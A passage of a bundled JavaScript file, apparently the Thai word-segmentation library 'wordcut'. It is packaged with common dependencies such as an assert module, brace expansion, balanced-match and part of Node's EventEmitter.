else {\n                this.isError = true;\n              }\n              return this;\n            },\n            isError: false,\n            tag: SpaceRule.tag,\n            w: 1,\n            type: \"SPACE_RULE\"};\n  }\n}\n\nvar SingleSymbolRule = {\n  tag: \"SINSYM\",\n  createAcceptor: function(tag) {\n    return {strOffset: 0,\n            isFinal: false,\n            transit: function(ch) {\n              if (this.strOffset == 0 && ch.match(/^[\\@\\(\\)\\/\\,\\-\\.\"`]$/)) {\n                this.isFinal = true;\n                this.strOffset++;\n              } else {\n                this.isError = true;\n              }\n              return this;\n            },\n            isError: false,\n            tag: \"SINSYM\",\n            w: 1,\n            type: \"SINSYM\"};\n  }\n}\n\n\nvar LatinRules = [WordRule, SpaceRule, SingleSymbolRule, NumberRule];\n\nmodule.exports = LatinRules;\n\n},{}],4:[function(require,module,exports){\nvar _ = require(\"underscore\")\n  , WordcutCore = require(\"./wordcut_core\");\nvar PathInfoBuilder = {\n\n  /*\n    buildByPartAcceptors: function(path, acceptors, i) {\n    var \n    var genInfos = partAcceptors.reduce(function(genInfos, acceptor) {\n      \n    }, []);\n    \n    return genInfos;\n  } \n  */\n\n  buildByAcceptors: function(path, finalAcceptors, i) {\n    var self = this;\n    var infos = finalAcceptors.map(function(acceptor) {\n      var p = i - acceptor.strOffset + 1\n        , _info = path[p];            \n      \n      var info = {p: p, \n                  mw: _info.mw + (acceptor.mw === undefined ? 0 : acceptor.mw),\n                  w: acceptor.w + _info.w,\n                  unk: (acceptor.unk ? acceptor.unk : 0) + _info.unk, \n                  type: acceptor.type};\n\n      if (acceptor.type == \"PART\") {\n        for(var j = p + 1; j <= i; j++) {\n          path[j].merge = p;\n        }\n        info.merge = p;\n      }\n\n      return info;\n    });\n    return infos.filter(function(info) { return info; });\n  },\n  \n  fallback: function(path, leftBoundary, text, i) {\n    var _info = path[leftBoundary];\n    if (text[i].match(/[\\u0E48-\\u0E4E]/)) {\n      if (leftBoundary != 0) \n        leftBoundary = path[leftBoundary].p;\n      return {p: leftBoundary,\n              mw: 0,\n              w: 1 + _info.w,\n              unk: 1 + _info.unk,\n              type: \"UNK\"};      \n/*    } else if(leftBoundary > 0 && path[leftBoundary].type !== \"UNK\") {\n      leftBoundary = path[leftBoundary].p;\n      return {p: leftBoundary,\n              w: 1 + _info.w,\n              unk: 1 + _info.unk,\n              type: \"UNK\"};            */\n    } else {      \n      return {p: leftBoundary,\n              mw: _info.mw,\n              w: 1 + _info.w,\n              unk: 1 + _info.unk,\n              type: \"UNK\"};\n    }\n  },\n  \n  build: function(path, finalAcceptors, i, leftBoundary, text) {\n    var basicPathInfos = this.buildByAcceptors(path, finalAcceptors, i);\n    if (basicPathInfos.length > 0) {\n      return basicPathInfos;\n    } else {\n      return [this.fallback(path, leftBoundary, text, i)];\n    }\n  }\n};\n\nmodule.exports = function() {\n  return _.clone(PathInfoBuilder);\n}\n\n},{\"./wordcut_core\":8,\"underscore\":25}],5:[function(require,module,exports){\nvar _ = require(\"underscore\");\n\n\nvar PathSelector = {\n  selectPath: function(paths) {\n    var path = paths.reduce(function(selectedPath, path) {\n      if (selectedPath == null) {        \n        return path;\n      } else {\n        if (path.unk < selectedPath.unk) \n          return path;        \n        if (path.unk == selectedPath.unk) {\n          if (path.mw < selectedPath.mw)\n            return path\n          if (path.mw == selectedPath.mw) {\n            if (path.w < selectedPath.w) \n              return path;\n          }\n        }\n        return selectedPath;\n      }\n    }, null);\n    return path;\n  },\n  \n  createPath: function() {\n    return [{p:null, w:0, unk:0, type: \"INIT\", mw:0}];\n  }\n};\n\nmodule.exports = function() {\n  return _.clone(PathSelector);\n};\n\n},{\"underscore\":25}],6:[function(require,module,exports){\nfunction isMatch(pat, offset, ch) {\n  if (pat.length <= offset)\n    return false;\n  var _ch = pat[offset];\n  return _ch == ch ||\n         (_ch.match(/[กข]/) && ch.match(/[ก-ฮ]/)) ||\n         (_ch.match(/[มบ]/) && ch.match(/[ก-ฮ]/)) ||\n         (_ch.match(/\\u0E49/) && ch.match(/[\\u0E48-\\u0E4B]/));\n}\n\nvar Rule0 = {\n  pat: \"เหก็ม\",\n  createAcceptor: function(tag) {\n    return {strOffset: 0,\n            isFinal: false,\n            transit: function(ch) {\n              if (isMatch(Rule0.pat, this.strOffset,ch)) {                 \n                this.isFinal = (this.strOffset + 1 == Rule0.pat.length);                \n                this.strOffset++;\n              } else {              \n                this.isError = true;             \n              }\n              return this;\n            },\n            isError: false,\n            tag: \"THAI_RULE\",\n            type: \"THAI_RULE\", \n            w: 1};                        \n  }\n};\n\nvar PartRule = {\n  createAcceptor: function(tag) {\n    return {strOffset: 0,\n            patterns: [\n              \"แก\", \"เก\", \"ก้\", \"กก์\", \"กา\", \"กี\", \"กิ\", \"กืก\"  \n            ],\n            isFinal: false,\n            transit: function(ch) {\n              var offset = this.strOffset;\n              this.patterns = this.patterns.filter(function(pat) {\n                return isMatch(pat, offset, ch);\n              });\n              \n              if (this.patterns.length > 0) {\n                var len = 1 + offset;\n                this.isFinal = this.patterns.some(function(pat) {\n                  return pat.length == len; \n                });\n                this.strOffset++;\n              } else {              \n                this.isError = true;             \n              }\n              return this;\n            },\n            isError: false,\n            tag: \"PART\",\n            type: \"PART\", \n            unk: 1,\n            w: 1};                        \n  }\n};\n\nvar ThaiRules = [Rule0, PartRule];\n\nmodule.exports = ThaiRules;\n\n},{}],7:[function(require,module,exports){\nvar sys = require(\"sys\")\n  , WordcutDict = require(\"./dict\")\n  , WordcutCore = require(\"./wordcut_core\")\n  , PathInfoBuilder = require(\"./path_info_builder\")\n  , PathSelector = require(\"./path_selector\")\n  , Acceptors = require(\"./acceptors\")\n  , latinRules = require(\"./latin_rules\")\n  , thaiRules = require(\"./thai_rules\")\n  , _ = require(\"underscore\");\n\n\nvar Wordcut = Object.create(WordcutCore);\nWordcut.defaultPathInfoBuilder = PathInfoBuilder;\nWordcut.defaultPathSelector = PathSelector;\nWordcut.defaultAcceptors = Acceptors;\nWordcut.defaultLatinRules = latinRules;\nWordcut.defaultThaiRules = thaiRules;\nWordcut.defaultDict = WordcutDict;\n\n\nWordcut.initNoDict = function(dict_path) {\n  var self = this;\n  self.pathInfoBuilder = new self.defaultPathInfoBuilder;\n  self.pathSelector = new self.defaultPathSelector;\n  self.acceptors = new self.defaultAcceptors;\n  self.defaultLatinRules.forEach(function(rule) {\n    self.acceptors.creators.push(rule);\n  });\n  self.defaultThaiRules.forEach(function(rule) {\n    self.acceptors.creators.push(rule);\n  });\n};\n\nWordcut.init = function(dict_path, withDefault, additionalWords) {\n  withDefault = withDefault || false;\n  this.initNoDict();\n  var dict = _.clone(this.defaultDict);\n  dict.init(dict_path, withDefault, additionalWords);\n  this.acceptors.creators.push(dict);\n};\n\nmodule.exports = Wordcut;\n\n},{\"./acceptors\":1,\"./dict\":2,\"./latin_rules\":3,\"./path_info_builder\":4,\"./path_selector\":5,\"./thai_rules\":6,\"./wordcut_core\":8,\"sys\":28,\"underscore\":25}],8:[function(require,module,exports){\nvar WordcutCore = {\n\n  buildPath: function(text) {\n    var self = this\n      , path = self.pathSelector.createPath()\n      , leftBoundary = 0;\n    self.acceptors.reset();\n    for (var i = 0; i < text.length; i++) {\n      var ch = text[i];\n      self.acceptors.transit(ch);\n\n      var possiblePathInfos = self\n        .pathInfoBuilder\n        .build(path,\n               self.acceptors.getFinalAcceptors(),\n               i,\n               leftBoundary,\n               text);\n      var selectedPath = self.pathSelector.selectPath(possiblePathInfos)\n\n      path.push(selectedPath);\n      if (selectedPath.type !== \"UNK\") {\n        leftBoundary = i;\n      }\n    }\n    return path;\n  },\n\n  pathToRanges: function(path) {\n    var e = path.length - 1\n     , ranges = [];\n\n    while (e > 0) {\n      var info = path[e]\n       , s = info.p;\n\n      if (info.merge !== undefined && ranges.length > 0) {\n        var r = ranges[ranges.length - 1];\n        r.s = info.merge;\n        s = r.s;\n      } else {\n        ranges.push({s:s, e:e});\n      }\n      e = s;\n    }\n    return ranges.reverse();\n  },\n\n  rangesToText: function(text, ranges, delimiter) {\n    return ranges.map(function(r) {\n      return text.substring(r.s, r.e);\n    }).join(delimiter);\n  },\n\n  cut: function(text, delimiter) {\n    var path = this.buildPath(text)\n      , ranges = this.pathToRanges(path);\n    return this\n      .rangesToText(text, ranges,\n                    (delimiter === undefined ? \"|\" : delimiter));\n  },\n\n  cutIntoRanges: function(text, noText) {\n    var path = this.buildPath(text)\n      , ranges = this.pathToRanges(path);\n\n    if (!noText) {\n      ranges.forEach(function(r) {\n        r.text = text.substring(r.s, r.e);\n      });\n    }\n    return ranges;\n  },\n\n  cutIntoArray: function(text) {\n    var path = this.buildPath(text)\n      , ranges = this.pathToRanges(path);\n    \n    return ranges.map(function(r) {\n      return text.substring(r.s, r.e)\n    });\n  }\n};\n\nmodule.exports = WordcutCore;\n\n},{}],9:[function(require,module,exports){\n// http://wiki.commonjs.org/wiki/Unit_Testing/1.0\n//\n// THIS IS NOT TESTED NOR LIKELY TO WORK OUTSIDE V8!\n//\n// Originally from narwhal.js (http://narwhaljs.org)\n// Copyright (c) 2009 Thomas Robinson <280north.com>\n//\n// Permission is hereby granted, free of charge, to any person obtaining a copy\n// of this software and associated documentation files (the 'Software'), to\n// deal in the Software without restriction, including without limitation the\n// rights to use, copy, modify, merge, publish, distribute, sublicense, and/or\n// sell copies of the Software, and to permit persons to whom the Software is\n// furnished to do so, subject to the following conditions:\n//\n// The above copyright notice and this permission notice shall be included in\n// all copies or substantial portions of the Software.\n//\n// THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n// AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN\n// ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION\n// WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\n// when used in node, this will actually load the util module we depend on\n// versus loading the builtin util module as happens otherwise\n// this is a bug in node module loading as far as I am concerned\nvar util = require('util/');\n\nvar pSlice = Array.prototype.slice;\nvar hasOwn = Object.prototype.hasOwnProperty;\n\n// 1. The assert module provides functions that throw\n// AssertionError's when particular conditions are not met. The\n// assert module must conform to the following interface.\n\nvar assert = module.exports = ok;\n\n// 2. The AssertionError is defined in assert.\n// new assert.AssertionError({ message: message,\n//                             actual: actual,\n//                             expected: expected })\n\nassert.AssertionError = function AssertionError(options) {\n  this.name = 'AssertionError';\n  this.actual = options.actual;\n  this.expected = options.expected;\n  this.operator = options.operator;\n  if (options.message) {\n    this.message = options.message;\n    this.generatedMessage = false;\n  } else {\n    this.message = getMessage(this);\n    this.generatedMessage = true;\n  }\n  var stackStartFunction = options.stackStartFunction || fail;\n\n  if (Error.captureStackTrace) {\n    Error.captureStackTrace(this, stackStartFunction);\n  }\n  else {\n    // non v8 browsers so we can have a stacktrace\n    var err = new Error();\n    if (err.stack) {\n      var out = err.stack;\n\n      // try to strip useless frames\n      var fn_name = stackStartFunction.name;\n      var idx = out.indexOf('\\n' + fn_name);\n      if (idx >= 0) {\n        // once we have located the function frame\n        // we need to strip out everything before it (and its line)\n        var next_line = out.indexOf('\\n', idx + 1);\n        out = out.substring(next_line + 1);\n      }\n\n      this.stack = out;\n    }\n  }\n};\n\n// assert.AssertionError instanceof Error\nutil.inherits(assert.AssertionError, Error);\n\nfunction replacer(key, value) {\n  if (util.isUndefined(value)) {\n    return '' + value;\n  }\n  if (util.isNumber(value) && !isFinite(value)) {\n    return value.toString();\n  }\n  if (util.isFunction(value) || util.isRegExp(value)) {\n    return value.toString();\n  }\n  return value;\n}\n\nfunction truncate(s, n) {\n  if (util.isString(s)) {\n    return s.length < n ? s : s.slice(0, n);\n  } else {\n    return s;\n  }\n}\n\nfunction getMessage(self) {\n  return truncate(JSON.stringify(self.actual, replacer), 128) + ' ' +\n         self.operator + ' ' +\n         truncate(JSON.stringify(self.expected, replacer), 128);\n}\n\n// At present only the three keys mentioned above are used and\n// understood by the spec. Implementations or sub modules can pass\n// other keys to the AssertionError's constructor - they will be\n// ignored.\n\n// 3. All of the following functions must throw an AssertionError\n// when a corresponding condition is not met, with a message that\n// may be undefined if not provided.  All assertion methods provide\n// both the actual and expected values to the assertion error for\n// display purposes.\n\nfunction fail(actual, expected, message, operator, stackStartFunction) {\n  throw new assert.AssertionError({\n    message: message,\n    actual: actual,\n    expected: expected,\n    operator: operator,\n    stackStartFunction: stackStartFunction\n  });\n}\n\n// EXTENSION! allows for well behaved errors defined elsewhere.\nassert.fail = fail;\n\n// 4. Pure assertion tests whether a value is truthy, as determined\n// by !!guard.\n// assert.ok(guard, message_opt);\n// This statement is equivalent to assert.equal(true, !!guard,\n// message_opt);. To test strictly for the value true, use\n// assert.strictEqual(true, guard, message_opt);.\n\nfunction ok(value, message) {\n  if (!value) fail(value, true, message, '==', assert.ok);\n}\nassert.ok = ok;\n\n// 5. The equality assertion tests shallow, coercive equality with\n// ==.\n// assert.equal(actual, expected, message_opt);\n\nassert.equal = function equal(actual, expected, message) {\n  if (actual != expected) fail(actual, expected, message, '==', assert.equal);\n};\n\n// 6. The non-equality assertion tests for whether two objects are not equal\n// with != assert.notEqual(actual, expected, message_opt);\n\nassert.notEqual = function notEqual(actual, expected, message) {\n  if (actual == expected) {\n    fail(actual, expected, message, '!=', assert.notEqual);\n  }\n};\n\n// 7. The equivalence assertion tests a deep equality relation.\n// assert.deepEqual(actual, expected, message_opt);\n\nassert.deepEqual = function deepEqual(actual, expected, message) {\n  if (!_deepEqual(actual, expected)) {\n    fail(actual, expected, message, 'deepEqual', assert.deepEqual);\n  }\n};\n\nfunction _deepEqual(actual, expected) {\n  // 7.1. All identical values are equivalent, as determined by ===.\n  if (actual === expected) {\n    return true;\n\n  } else if (util.isBuffer(actual) && util.isBuffer(expected)) {\n    if (actual.length != expected.length) return false;\n\n    for (var i = 0; i < actual.length; i++) {\n      if (actual[i] !== expected[i]) return false;\n    }\n\n    return true;\n\n  // 7.2. If the expected value is a Date object, the actual value is\n  // equivalent if it is also a Date object that refers to the same time.\n  } else if (util.isDate(actual) && util.isDate(expected)) {\n    return actual.getTime() === expected.getTime();\n\n  // 7.3 If the expected value is a RegExp object, the actual value is\n  // equivalent if it is also a RegExp object with the same source and\n  // properties (`global`, `multiline`, `lastIndex`, `ignoreCase`).\n  } else if (util.isRegExp(actual) && util.isRegExp(expected)) {\n    return actual.source === expected.source &&\n           actual.global === expected.global &&\n           actual.multiline === expected.multiline &&\n           actual.lastIndex === expected.lastIndex &&\n           actual.ignoreCase === expected.ignoreCase;\n\n  // 7.4. Other pairs that do not both pass typeof value == 'object',\n  // equivalence is determined by ==.\n  } else if (!util.isObject(actual) && !util.isObject(expected)) {\n    return actual == expected;\n\n  // 7.5 For all other Object pairs, including Array objects, equivalence is\n  // determined by having the same number of owned properties (as verified\n  // with Object.prototype.hasOwnProperty.call), the same set of keys\n  // (although not necessarily the same order), equivalent values for every\n  // corresponding key, and an identical 'prototype' property. Note: this\n  // accounts for both named and indexed properties on Arrays.\n  } else {\n    return objEquiv(actual, expected);\n  }\n}\n\nfunction isArguments(object) {\n  return Object.prototype.toString.call(object) == '[object Arguments]';\n}\n\nfunction objEquiv(a, b) {\n  if (util.isNullOrUndefined(a) || util.isNullOrUndefined(b))\n    return false;\n  // an identical 'prototype' property.\n  if (a.prototype !== b.prototype) return false;\n  // if one is a primitive, the other must be same\n  if (util.isPrimitive(a) || util.isPrimitive(b)) {\n    return a === b;\n  }\n  var aIsArgs = isArguments(a),\n      bIsArgs = isArguments(b);\n  if ((aIsArgs && !bIsArgs) || (!aIsArgs && bIsArgs))\n    return false;\n  if (aIsArgs) {\n    a = pSlice.call(a);\n    b = pSlice.call(b);\n    return _deepEqual(a, b);\n  }\n  var ka = objectKeys(a),\n      kb = objectKeys(b),\n      key, i;\n  // having the same number of owned properties (keys incorporates\n  // hasOwnProperty)\n  if (ka.length != kb.length)\n    return false;\n  //the same set of keys (although not necessarily the same order),\n  ka.sort();\n  kb.sort();\n  //~~~cheap key test\n  for (i = ka.length - 1; i >= 0; i--) {\n    if (ka[i] != kb[i])\n      return false;\n  }\n  //equivalent values for every corresponding key, and\n  //~~~possibly expensive deep test\n  for (i = ka.length - 1; i >= 0; i--) {\n    key = ka[i];\n    if (!_deepEqual(a[key], b[key])) return false;\n  }\n  return true;\n}\n\n// 8. The non-equivalence assertion tests for any deep inequality.\n// assert.notDeepEqual(actual, expected, message_opt);\n\nassert.notDeepEqual = function notDeepEqual(actual, expected, message) {\n  if (_deepEqual(actual, expected)) {\n    fail(actual, expected, message, 'notDeepEqual', assert.notDeepEqual);\n  }\n};\n\n// 9. The strict equality assertion tests strict equality, as determined by ===.\n// assert.strictEqual(actual, expected, message_opt);\n\nassert.strictEqual = function strictEqual(actual, expected, message) {\n  if (actual !== expected) {\n    fail(actual, expected, message, '===', assert.strictEqual);\n  }\n};\n\n// 10. The strict non-equality assertion tests for strict inequality, as\n// determined by !==.  assert.notStrictEqual(actual, expected, message_opt);\n\nassert.notStrictEqual = function notStrictEqual(actual, expected, message) {\n  if (actual === expected) {\n    fail(actual, expected, message, '!==', assert.notStrictEqual);\n  }\n};\n\nfunction expectedException(actual, expected) {\n  if (!actual || !expected) {\n    return false;\n  }\n\n  if (Object.prototype.toString.call(expected) == '[object RegExp]') {\n    return expected.test(actual);\n  } else if (actual instanceof expected) {\n    return true;\n  } else if (expected.call({}, actual) === true) {\n    return true;\n  }\n\n  return false;\n}\n\nfunction _throws(shouldThrow, block, expected, message) {\n  var actual;\n\n  if (util.isString(expected)) {\n    message = expected;\n    expected = null;\n  }\n\n  try {\n    block();\n  } catch (e) {\n    actual = e;\n  }\n\n  message = (expected && expected.name ? ' (' + expected.name + ').' : '.') +\n            (message ? ' ' + message : '.');\n\n  if (shouldThrow && !actual) {\n    fail(actual, expected, 'Missing expected exception' + message);\n  }\n\n  if (!shouldThrow && expectedException(actual, expected)) {\n    fail(actual, expected, 'Got unwanted exception' + message);\n  }\n\n  if ((shouldThrow && actual && expected &&\n      !expectedException(actual, expected)) || (!shouldThrow && actual)) {\n    throw actual;\n  }\n}\n\n// 11. Expected to throw an error:\n// assert.throws(block, Error_opt, message_opt);\n\nassert.throws = function(block, /*optional*/error, /*optional*/message) {\n  _throws.apply(this, [true].concat(pSlice.call(arguments)));\n};\n\n// EXTENSION! This is annoying to write outside this module.\nassert.doesNotThrow = function(block, /*optional*/message) {\n  _throws.apply(this, [false].concat(pSlice.call(arguments)));\n};\n\nassert.ifError = function(err) { if (err) {throw err;}};\n\nvar objectKeys = Object.keys || function (obj) {\n  var keys = [];\n  for (var key in obj) {\n    if (hasOwn.call(obj, key)) keys.push(key);\n  }\n  return keys;\n};\n\n},{\"util/\":28}],10:[function(require,module,exports){\n'use strict';\nmodule.exports = balanced;\nfunction balanced(a, b, str) {\n  if (a instanceof RegExp) a = maybeMatch(a, str);\n  if (b instanceof RegExp) b = maybeMatch(b, str);\n\n  var r = range(a, b, str);\n\n  return r && {\n    start: r[0],\n    end: r[1],\n    pre: str.slice(0, r[0]),\n    body: str.slice(r[0] + a.length, r[1]),\n    post: str.slice(r[1] + b.length)\n  };\n}\n\nfunction maybeMatch(reg, str) {\n  var m = str.match(reg);\n  return m ? m[0] : null;\n}\n\nbalanced.range = range;\nfunction range(a, b, str) {\n  var begs, beg, left, right, result;\n  var ai = str.indexOf(a);\n  var bi = str.indexOf(b, ai + 1);\n  var i = ai;\n\n  if (ai >= 0 && bi > 0) {\n    begs = [];\n    left = str.length;\n\n    while (i >= 0 && !result) {\n      if (i == ai) {\n        begs.push(i);\n        ai = str.indexOf(a, i + 1);\n      } else if (begs.length == 1) {\n        result = [ begs.pop(), bi ];\n      } else {\n        beg = begs.pop();\n        if (beg < left) {\n          left = beg;\n          right = bi;\n        }\n\n        bi = str.indexOf(b, i + 1);\n      }\n\n      i = ai < bi && ai >= 0 ? ai : bi;\n    }\n\n    if (begs.length) {\n      result = [ left, right ];\n    }\n  }\n\n  return result;\n}\n\n},{}],11:[function(require,module,exports){\nvar concatMap = require('concat-map');\nvar balanced = require('balanced-match');\n\nmodule.exports = expandTop;\n\nvar escSlash = '\\0SLASH'+Math.random()+'\\0';\nvar escOpen = '\\0OPEN'+Math.random()+'\\0';\nvar escClose = '\\0CLOSE'+Math.random()+'\\0';\nvar escComma = '\\0COMMA'+Math.random()+'\\0';\nvar escPeriod = '\\0PERIOD'+Math.random()+'\\0';\n\nfunction numeric(str) {\n  return parseInt(str, 10) == str\n    ? parseInt(str, 10)\n    : str.charCodeAt(0);\n}\n\nfunction escapeBraces(str) {\n  return str.split('\\\\\\\\').join(escSlash)\n            .split('\\\\{').join(escOpen)\n            .split('\\\\}').join(escClose)\n            .split('\\\\,').join(escComma)\n            .split('\\\\.').join(escPeriod);\n}\n\nfunction unescapeBraces(str) {\n  return str.split(escSlash).join('\\\\')\n            .split(escOpen).join('{')\n            .split(escClose).join('}')\n            .split(escComma).join(',')\n            .split(escPeriod).join('.');\n}\n\n\n// Basically just str.split(\",\"), but handling cases\n// where we have nested braced sections, which should be\n// treated as individual members, like {a,{b,c},d}\nfunction parseCommaParts(str) {\n  if (!str)\n    return [''];\n\n  var parts = [];\n  var m = balanced('{', '}', str);\n\n  if (!m)\n    return str.split(',');\n\n  var pre = m.pre;\n  var body = m.body;\n  var post = m.post;\n  var p = pre.split(',');\n\n  p[p.length-1] += '{' + body + '}';\n  var postParts = parseCommaParts(post);\n  if (post.length) {\n    p[p.length-1] += postParts.shift();\n    p.push.apply(p, postParts);\n  }\n\n  parts.push.apply(parts, p);\n\n  return parts;\n}\n\nfunction expandTop(str) {\n  if (!str)\n    return [];\n\n  // I don't know why Bash 4.3 does this, but it does.\n  // Anything starting with {} will have the first two bytes preserved\n  // but *only* at the top level, so {},a}b will not expand to anything,\n  // but a{},b}c will be expanded to [a}c,abc].\n  // One could argue that this is a bug in Bash, but since the goal of\n  // this module is to match Bash's rules, we escape a leading {}\n  if (str.substr(0, 2) === '{}') {\n    str = '\\\\{\\\\}' + str.substr(2);\n  }\n\n  return expand(escapeBraces(str), true).map(unescapeBraces);\n}\n\nfunction identity(e) {\n  return e;\n}\n\nfunction embrace(str) {\n  return '{' + str + '}';\n}\nfunction isPadded(el) {\n  return /^-?0\\d/.test(el);\n}\n\nfunction lte(i, y) {\n  return i <= y;\n}\nfunction gte(i, y) {\n  return i >= y;\n}\n\nfunction expand(str, isTop) {\n  var expansions = [];\n\n  var m = balanced('{', '}', str);\n  if (!m || /\\$$/.test(m.pre)) return [str];\n\n  var isNumericSequence = /^-?\\d+\\.\\.-?\\d+(?:\\.\\.-?\\d+)?$/.test(m.body);\n  var isAlphaSequence = /^[a-zA-Z]\\.\\.[a-zA-Z](?:\\.\\.-?\\d+)?$/.test(m.body);\n  var isSequence = isNumericSequence || isAlphaSequence;\n  var isOptions = m.body.indexOf(',') >= 0;\n  if (!isSequence && !isOptions) {\n    // {a},b}\n    if (m.post.match(/,.*\\}/)) {\n      str = m.pre + '{' + m.body + escClose + m.post;\n      return expand(str);\n    }\n    return [str];\n  }\n\n  var n;\n  if (isSequence) {\n    n = m.body.split(/\\.\\./);\n  } else {\n    n = parseCommaParts(m.body);\n    if (n.length === 1) {\n      // x{{a,b}}y ==> x{a}y x{b}y\n      n = expand(n[0], false).map(embrace);\n      if (n.length === 1) {\n        var post = m.post.length\n          ? expand(m.post, false)\n          : [''];\n        return post.map(function(p) {\n          return m.pre + n[0] + p;\n        });\n      }\n    }\n  }\n\n  // at this point, n is the parts, and we know it's not a comma set\n  // with a single entry.\n\n  // no need to expand pre, since it is guaranteed to be free of brace-sets\n  var pre = m.pre;\n  var post = m.post.length\n    ? expand(m.post, false)\n    : [''];\n\n  var N;\n\n  if (isSequence) {\n    var x = numeric(n[0]);\n    var y = numeric(n[1]);\n    var width = Math.max(n[0].length, n[1].length)\n    var incr = n.length == 3\n      ? Math.abs(numeric(n[2]))\n      : 1;\n    var test = lte;\n    var reverse = y < x;\n    if (reverse) {\n      incr *= -1;\n      test = gte;\n    }\n    var pad = n.some(isPadded);\n\n    N = [];\n\n    for (var i = x; test(i, y); i += incr) {\n      var c;\n      if (isAlphaSequence) {\n        c = String.fromCharCode(i);\n        if (c === '\\\\')\n          c = '';\n      } else {\n        c = String(i);\n        if (pad) {\n          var need = width - c.length;\n          if (need > 0) {\n            var z = new Array(need + 1).join('0');\n            if (i < 0)\n              c = '-' + z + c.slice(1);\n            else\n              c = z + c;\n          }\n        }\n      }\n      N.push(c);\n    }\n  } else {\n    N = concatMap(n, function(el) { return expand(el, false) });\n  }\n\n  for (var j = 0; j < N.length; j++) {\n    for (var k = 0; k < post.length; k++) {\n      var expansion = pre + N[j] + post[k];\n      if (!isTop || isSequence || expansion)\n        expansions.push(expansion);\n    }\n  }\n\n  return expansions;\n}\n\n\n},{\"balanced-match\":10,\"concat-map\":13}],12:[function(require,module,exports){\n\n},{}],13:[function(require,module,exports){\nmodule.exports = function (xs, fn) {\n    var res = [];\n    for (var i = 0; i < xs.length; i++) {\n        var x = fn(xs[i], i);\n        if (isArray(x)) res.push.apply(res, x);\n        else res.push(x);\n    }\n    return res;\n};\n\nvar isArray = Array.isArray || function (xs) {\n    return Object.prototype.toString.call(xs) === '[object Array]';\n};\n\n},{}],14:[function(require,module,exports){\n// Copyright Joyent, Inc. and other Node contributors.\n//\n// Permission is hereby granted, free of charge, to any person obtaining a\n// copy of this software and associated documentation files (the\n// \"Software\"), to deal in the Software without restriction, including\n// without limitation the rights to use, copy, modify, merge, publish,\n// distribute, sublicense, and/or sell copies of the Software, and to permit\n// persons to whom the Software is furnished to do so, subject to the\n// following conditions:\n//\n// The above copyright notice and this permission notice shall be included\n// in all copies or substantial portions of the Software.\n//\n// THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN\n// NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,\n// DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR\n// OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE\n// USE OR OTHER DEALINGS IN THE SOFTWARE.\n\nfunction EventEmitter() {\n  this._events = this._events || {};\n  this._maxListeners = this._maxListeners || undefined;\n}\nmodule.exports = EventEmitter;\n\n// Backwards-compat with node 0.10.x\nEventEmitter.EventEmitter = EventEmitter;\n\nEventEmitter.prototype._events = undefined;\nEventEmitter.prototype._maxListeners = undefined;\n\n// By default EventEmitters will print a warning if more than 10 listeners are\n// added to it. This is a useful default which helps finding memory leaks.\nEventEmitter.defaultMaxListeners = 10;\n\n// Obviously not all Emitters should be limited to 10. This function allows\n// that to be increased. Set to zero for unlimited.\nEventEmitter.prototype.setMaxListeners = function(n) {\n  if (!isNumber(n) || n < 0 || isNaN(n))\n    throw TypeError('n must be a positive number');\n  this._maxListeners = n;\n  return this;\n};\n\nEventEmitter.prototype.emit = function(type) {\n  var er, handler, len, args, i, listeners;\n\n  if (!this._events)\n    this._events = {};\n\n  // If there is no 'error' event listener then throw.\n  if (type === 'error') {\n    if (!this._events.error ||\n        (isObject(this._events.error) && !this._events.error.length)) {\n      er = arguments[1];\n      if (er instanceof Error) {\n        throw er; // Unhandled 'error' event\n      }\n      throw TypeError('Uncaught, unspecified \"error\" event.');\n    }\n  }\n\n  handler = this._events[type];\n\n  if (isUndefined(handler))\n    return false;\n\n  if (isFunction(handler)) {\n    switch (arguments.length) {\n      // fast cases\n      case 1:\n        handler.call(this);\n        break;\n      case 2:\n        handler.call(this, arguments[1]);\n        break;\n      case 3:\n        handler.call(this, arguments[1], arguments[2]);\n        break;\n      // slower\n      default:\n        len = arguments.length;\n        args = new Array(len - 1);\n        for (i = 1; i < len; i++)\n          args[i - 1] = arguments[i];\n        handler.apply(this, args);\n    }\n  } else if (isObject(handler)) {\n    len = arguments.length;\n    args = new Array(len - 1);\n    for (i = 1; i < len; i++)\n      args[i - 1] = arguments[i];\n\n    listeners = handler.slice();\n    len = listeners.length;\n    for (i = 0; i < len; i++)\n      listeners[i].apply(this, args);\n  }\n\n  return true;\n};\n\nEventEmitter.prototype.addListener = function(type, listener) {\n  var m;\n\n  if (!isFunction(listener))\n    throw TypeError('listener must be a function');\n\n  if (!this._events)\n    this._events = {};\n\n  // To avoid recursion in the case that type === \"newListener\"! Before\n  // adding it to the listeners, first emit \"newListener\".\n  if (this._events.newListener)\n    this.emit('newListener', type,\n              isFunction(listener.listener) ?\n              listener.listener : listener);\n\n  if (!this._events[type])\n    // Optimize the case of one listener. Don't need the extra array object.\n    this._events[type] = listener;\n  else if (isObject(this._events[type]))\n    // If we've already got an array, just append.\n    this._events[type].push(listener);\n  else\n    // Adding the second element, need to change to array.\n    this._events[type] = [this._events[type], listener];\n\n  // Check for listener leak\n  if (isObject(this._events[type]) && !this._events[type].warned) {\n    var m;\n    if (!isUndefined(this._maxListeners)) {\n      m = this._maxListeners;\n    } else {\n      m = EventEmitter.defaultMaxListeners;\n    }\n\n    if (m && m > 0 && this._events[type].length > m) {\n      this._events[type].warned = true;\n      console.error('(node) warning: possible EventEmitter memory ' +\n                    'leak detected. %d listeners added. ' +\n                    'Use emitter.setMaxListeners() to increase limit.',\n                    